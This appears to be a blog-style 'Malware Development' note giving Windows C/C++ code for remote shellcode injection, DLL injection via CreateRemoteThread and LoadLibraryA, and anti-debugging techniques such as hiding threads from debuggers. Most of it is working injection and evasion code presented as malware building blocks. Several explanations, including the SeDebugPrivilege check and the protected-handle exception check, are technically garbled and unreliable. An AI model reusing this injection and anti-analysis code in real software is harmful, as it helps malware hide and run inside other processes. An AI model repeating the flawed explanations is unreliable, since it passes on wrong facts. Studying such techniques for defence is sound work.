Malware Development | Processes & Anti-Debug

2026-07-18

The goal of this note is to demonstrate basic concepts of windows malware. These samples are easily detected by any EDR.

1 | Shellcode Injection & Execution

#include "stdafx.h"
#include "Windows.h"

unsigned char shellcode[] = {};

int main(int argc, char *argv[]) {
    HANDLE processHandle;
    PVOID  remoteBuffer;
    DWORD pid = DWORD(atoi(argv[1]));
    
/*
    HANDLE OpenProcess(
      [in] DWORD dwDesiredAccess,
      [in] BOOL  bInheritHandle,
      [in] DWORD dwProcessId
    );
    
    get process handle by pid (HANDLE is just a number, 'fd' of windows)
*/ 
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!processHandle) return 1;

/*
    LPVOID VirtualAllocEx(
      [in]           HANDLE hProcess,
      [in, optional] LPVOID lpAddress,
      [in]           SIZE_T dwSize,
      [in]           DWORD  flAllocationType,
      [in]           DWORD  flProtect
    );
    allocate memory IN a process memory OF SIZE shellcode with RWX bits;
    also make sure its either 2nd NULL && 4th COMMIT
    otherwise allocation will fail (learn.microsoft)
    
    better implement the check for allocation !
*/

    remoteBuffer = VirtualAllocEx(processHandle,
                                  NULL,
                                  sizeof shellcode,
                                  MEM_COMMIT,
                                  PAGE_EXECUTE_READWRITE);

/*
    BOOL WriteProcessMemory(
      [in]  HANDLE  hProcess,
      [in]  LPVOID  lpBaseAddress,
      [in]  LPCVOID lpBuffer,
      [in]  SIZE_T  nSize,
      [out] SIZE_T  *lpNumberOfBytesWritten
    );
    writes shellcode starting from baseAddress in some process
    
    better implement the check for bytesWritten !
*/

    WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
/*
    HANDLE CreateRemoteThread(
      [in]  HANDLE                 hProcess,
      [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
      [in]  SIZE_T                 dwStackSize,
      [in]  LPTHREAD_START_ROUTINE lpStartAddress,
      [in]  LPVOID                 lpParameter,
      [in]  DWORD                  dwCreationFlags,
      [out] LPDWORD                lpThreadId
    );
    
    creates a thread that runs in the VA of another process
    what process             ? handle is there
    where to start execution ? ptr to start routine
*/
    CreateRemoteThread(processHandle, 
                       NULL, //handle won't be inherited by child processes
                       0,    // use default stack size of the exe
                       (LPTHREAD_START_ROUTINE)remoteBuffer,
                       NULL, // ptr to var to be passed to thread function
                             // may be useful in more complex payloads ?
                       0,    // start thread IMMEDIATELY
                       NULL);// ptr to var that gets thread id 

    CloseHandle(processHandle);
    return 0;
}

2 | DLL injection using CreateRemoteThread

#include "stdafx.h"
#include "Windows.h"

int main(int argc, char *argv[]) {
    HANDLE  processHandle;
    PVOID   remoteBuffer;
    DWORD   pid = atoi(argv[1]);
    
    const char *dllPath = "C:\\inject.dll";
    
    printf("Injecting DLL into PID: %i\n", atoi(argv[1]));

    /* open target */
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    /* allocate memory for the DLL path string */
    remoteBuffer = VirtualAllocEx(processHandle, NULL,
                                  strlen(dllPath) + 1,
                                  MEM_COMMIT, PAGE_READWRITE);

    /* copy the path string */
    WriteProcessMemory(processHandle, remoteBuffer,
                       (LPVOID)dllPath, strlen(dllPath) + 1, NULL);

    /* get the address of LoadLibraryA in this process.
     * kernel32.dll is mapped at the same VA in all processes on the same boot,
     * so this address is valid in the target too. */
    PTHREAD_START_ROUTINE loadLibAddr =
        (PTHREAD_START_ROUTINE)GetProcAddress(
            GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");

    /* thread in target starts at LoadLibraryA(dllPath) */
    CreateRemoteThread(processHandle, NULL, 0,
                       loadLibAddr, remoteBuffer, 0, NULL);

    CloseHandle(processHandle);
    return 0;
}

3 | Anti-Debug Techniques

3.1 | SeDebugPrivilege

We want to detect whether the process runs under a debugger (which grants SeDebugPrivilege) by trying to open a protected system process. Under a normal user, this fails. Under a debugger with elevated privileges, it succeeds

// pid of whatever.exe (find with Process32First/Next) 
HANDLE hDebug = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hDebug != NULL) {
    std::cout << "Debugger detected (SeDebugPrivilege present)\n";
    CloseHandle(hDebug);
}

A normal user process cannot open svchost.exe with PROCESS_ALL_ACCESS, it returns NULL. A process under a kernel debugger or elevated debugger can. Requires a valid PID, which is easy to enumerate.

3.2 | NtSetInformationThread aka Hide Thread from Debugger

We want to hide the current thread from any attached debugger. Once hidden, the debugger no longer receive breakpoint events or single-step notifications for that thread; it effectively runs unobserved (or does it?)

// ThreadInformationClass 0x11 == ThreadHideFromDebugger
NTSTATUS stat = NtSetInformationThread(
    GetCurrentThread(),
    0x11,    // ThreadHideFromDebugger 
    NULL,
    0
);

0x11 is the undocumented ThreadHideFromDebugger class.

Calling this makes NtQueryInformationThread return a flag that causes the kernel to suppress debug events for this thread. The debugger sees the thread as running but never receives EXCEPTION_DEBUG_EVENT from it.

3.3 | NtCreateThreadEx aka Create Thread Hidden at Birth

We need to create a new thread that is hidden from debuggers from the moment it is created, before it runs a single instruction.

HANDLE   hThr   = 0;
NTSTATUS status = NtCreateThreadEx(
    &hThr,
    THREAD_ALL_ACCESS,
    0,
    NtCurrentProcess(),
    (LPTHREAD_START_ROUTINE)next,   // 'start execution' address 
    0,
    THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER,  // 0x4
    0, 0, 0, 0
);

THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER (bit 2 of the flags argument) sets the hide flag in the kernel thread object at creation time. Unlike NtSetInformationThread (which can be patched or hooked), this flag is set before the thread’s START_CONTEXT is queued, giving the debugger no window to intercept.

3.4 | Protected Handle aka Exception-Based Debugger Check

Goal: detect a debugger by abusing HANDLE_FLAG_PROTECT_FROM_CLOSE. Under a debugger, the exception from closing a protected handle is handled differently than in a normal process.

// prototype
BOOL SetHandleInformation(
    HANDLE hObject,
    DWORD  dwMask,
    DWORD  dwFlags
);

HANDLE hMyMutex = CreateMutex(NULL, FALSE, _T("MyMutex"));

SetHandleInformation(hMyMutex,
                     HANDLE_FLAG_PROTECT_FROM_CLOSE,
                     HANDLE_FLAG_PROTECT_FROM_CLOSE);
__try {
    CloseHandle(hMyMutex);         // raises STATUS_HANDLE_NOT_CLOSABLE
} __except (HANDLE_FLAG_PROTECT_FROM_CLOSE) {
    std::cout << "Debugger detected (exception handling divergence)\n";
}

HANDLE_FLAG_PROTECT_FROM_CLOSE prevents the handle from being closed: CloseHandle raises a structured exception. In a normal process, the SEH filter catches it and control stays in __except.

When a ring 0 debugger is present, the exception is dispatched in a different way, that is the first-chance handler goes to the debugger instead of to your filter, which is the detection signal.